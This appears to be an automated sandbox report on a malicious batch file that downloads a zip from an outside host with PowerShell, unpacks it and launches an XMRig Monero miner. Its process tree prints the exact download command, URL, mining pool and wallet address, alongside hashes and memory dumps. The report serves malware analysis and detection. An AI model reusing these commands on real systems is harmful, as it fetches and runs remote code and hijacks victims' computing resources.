Analysis

  • max time kernel
    1796s
  • max time network
    1796s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/10/2023, 15:52

General

  • Target

    tesy - Copy (10).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5076
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3412
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3352

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          143a478fb47996f74bbbcdaa252b9e0b

          SHA1

          288893a45c1c50f8245a32aa06dfb1ac2ff31c83

          SHA256

          6d91b6cc49e12bf850b873bfd57f591a37fe1aef5ca6e2bc8855dc866abf479b

          SHA512

          e7e2d235fc60e58fe10961515db7f1a667cc58268b8cd3066afa5e7e4de0b1217e3cb85fbe24230b3eb7ac94399fa42971772954a0c309d3cb9334b7a67f93d8

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4kwktzmg.ein.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\test.zip

          Filesize

          3.2MB

          MD5

          3238c0d25d84b6f0bb645bbb29cdbf61

          SHA1

          11ae550c8a82c0793862c366b92072ad7e18befe

          SHA256

          b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

          SHA512

          d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          170B

          MD5

          78657df2e34e338ff135d3dde69177bf

          SHA1

          d5048a4270b7ba599e941d26d61bfa2e8da31fce

          SHA256

          9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

          SHA512

          f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          4813fa6d610e180b097eae0ce636d2aa

          SHA1

          1e9cd17ea32af1337dd9a664431c809dd8a64d76

          SHA256

          9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

          SHA512

          5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

        • memory/2716-0-0x000001DF273D0000-0x000001DF273F2000-memory.dmp

          Filesize

          136KB

        • memory/2716-10-0x00007FF9D78D0000-0x00007FF9D8391000-memory.dmp

          Filesize

          10.8MB

        • memory/2716-11-0x000001DF251B0000-0x000001DF251C0000-memory.dmp

          Filesize

          64KB

        • memory/2716-12-0x000001DF251B0000-0x000001DF251C0000-memory.dmp

          Filesize

          64KB

        • memory/2716-13-0x000001DF251B0000-0x000001DF251C0000-memory.dmp

          Filesize

          64KB

        • memory/2716-17-0x00007FF9D78D0000-0x00007FF9D8391000-memory.dmp

          Filesize

          10.8MB

        • memory/3352-71-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-78-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-114-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-113-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-112-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-46-0x000001C661BF0000-0x000001C661C10000-memory.dmp

          Filesize

          128KB

        • memory/3352-47-0x000001C6635E0000-0x000001C663620000-memory.dmp

          Filesize

          256KB

        • memory/3352-48-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-49-0x000001C663620000-0x000001C663640000-memory.dmp

          Filesize

          128KB

        • memory/3352-50-0x000001C663640000-0x000001C663660000-memory.dmp

          Filesize

          128KB

        • memory/3352-51-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-52-0x000001C663620000-0x000001C663640000-memory.dmp

          Filesize

          128KB

        • memory/3352-53-0x000001C663640000-0x000001C663660000-memory.dmp

          Filesize

          128KB

        • memory/3352-54-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-55-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-56-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-57-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-58-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-59-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-60-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-61-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-62-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-63-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-64-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-65-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-66-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-67-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-68-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-69-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-70-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-111-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-72-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-73-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-74-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-75-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-76-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-77-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-110-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-79-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-80-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-81-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-82-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-83-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-84-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-85-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-86-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-87-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-88-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-89-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-90-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-91-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-92-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-93-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-94-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-95-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-96-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-97-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-98-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-99-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-100-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-101-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-102-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-103-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-104-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-105-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-106-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-107-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-108-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/3352-109-0x00007FF606F40000-0x00007FF607A43000-memory.dmp

          Filesize

          11.0MB

        • memory/5076-31-0x000002939E1B0000-0x000002939E1C0000-memory.dmp

          Filesize

          64KB

        • memory/5076-28-0x00007FF9D78D0000-0x00007FF9D8391000-memory.dmp

          Filesize

          10.8MB

        • memory/5076-30-0x000002939E1B0000-0x000002939E1C0000-memory.dmp

          Filesize

          64KB

        • memory/5076-33-0x00000293A04C0000-0x00000293A04CA000-memory.dmp

          Filesize

          40KB

        • memory/5076-32-0x00000293A04D0000-0x00000293A04E2000-memory.dmp

          Filesize

          72KB

        • memory/5076-42-0x00007FF9D78D0000-0x00007FF9D8391000-memory.dmp

          Filesize

          10.8MB